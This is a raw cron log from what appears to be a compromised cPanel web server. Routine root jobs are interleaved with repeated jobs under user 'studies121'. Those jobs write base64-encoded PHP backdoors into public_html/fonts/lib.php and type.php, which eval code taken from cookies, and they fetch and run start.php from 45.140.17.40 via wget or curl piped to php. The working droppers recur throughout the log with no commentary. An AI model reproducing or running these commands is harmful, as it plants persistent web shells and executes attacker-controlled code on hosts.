Sep 11 20:39:01 ip-184-168-122-23 CROND[1049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:39:01 ip-184-168-122-23 CROND[1050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:39:01 ip-184-168-122-23 CROND[1052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:39:01 ip-184-168-122-23 CROND[1053]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 20:40:01 ip-184-168-122-23 CROND[1167]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:40:01 ip-184-168-122-23 CROND[1172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:40:01 ip-184-168-122-23 CROND[1173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:40:01 ip-184-168-122-23 CROND[1179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:40:01 ip-184-168-122-23 CROND[1181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:40:01 ip-184-168-122-23 CROND[1177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:40:01 ip-184-168-122-23 CROND[1180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:40:01 ip-184-168-122-23 CROND[1178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:41:01 ip-184-168-122-23 CROND[1370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:41:01 ip-184-168-122-23 CROND[1371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:41:01 ip-184-168-122-23 CROND[1372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:41:01 ip-184-168-122-23 CROND[1373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:42:02 ip-184-168-122-23 CROND[1515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:42:02 ip-184-168-122-23 CROND[1516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:42:02 ip-184-168-122-23 CROND[1519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:42:02 ip-184-168-122-23 CROND[1518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:42:02 ip-184-168-122-23 CROND[1520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:43:01 ip-184-168-122-23 CROND[1606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:43:01 ip-184-168-122-23 CROND[1609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:43:01 ip-184-168-122-23 CROND[1608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:43:01 ip-184-168-122-23 CROND[1611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:44:01 ip-184-168-122-23 CROND[1705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:44:01 ip-184-168-122-23 CROND[1708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:44:01 ip-184-168-122-23 CROND[1707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:44:01 ip-184-168-122-23 CROND[1709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:44:01 ip-184-168-122-23 CROND[1710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:45:01 ip-184-168-122-23 CROND[1828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:45:01 ip-184-168-122-23 CROND[1832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:45:01 ip-184-168-122-23 CROND[1833]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 11 20:45:01 ip-184-168-122-23 CROND[1834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:45:01 ip-184-168-122-23 CROND[1835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:45:01 ip-184-168-122-23 CROND[1838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:45:01 ip-184-168-122-23 CROND[1837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:46:01 ip-184-168-122-23 CROND[2010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:46:01 ip-184-168-122-23 CROND[2012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:46:01 ip-184-168-122-23 CROND[2014]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 20:46:01 ip-184-168-122-23 CROND[2013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:46:01 ip-184-168-122-23 CROND[2017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:46:01 ip-184-168-122-23 CROND[2015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:46:01 ip-184-168-122-23 CROND[2016]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 20:47:01 ip-184-168-122-23 CROND[2106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:47:01 ip-184-168-122-23 CROND[2108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:47:01 ip-184-168-122-23 CROND[2109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:47:01 ip-184-168-122-23 CROND[2111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:48:01 ip-184-168-122-23 CROND[2220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:48:01 ip-184-168-122-23 CROND[2222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:48:01 ip-184-168-122-23 CROND[2223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:48:01 ip-184-168-122-23 CROND[2226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:48:01 ip-184-168-122-23 CROND[2224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:49:01 ip-184-168-122-23 CROND[2320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:49:01 ip-184-168-122-23 CROND[2323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:49:01 ip-184-168-122-23 CROND[2322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:49:01 ip-184-168-122-23 CROND[2324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:50:01 ip-184-168-122-23 CROND[2421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:50:01 ip-184-168-122-23 CROND[2422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:50:01 ip-184-168-122-23 CROND[2425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 20:50:01 ip-184-168-122-23 CROND[2426]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:50:01 ip-184-168-122-23 CROND[2428]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:50:01 ip-184-168-122-23 CROND[2429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 20:50:01 ip-184-168-122-23 CROND[2427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 20:50:01 ip-184-168-122-23 CROND[2430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:50:01 ip-184-168-122-23 CROND[2433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
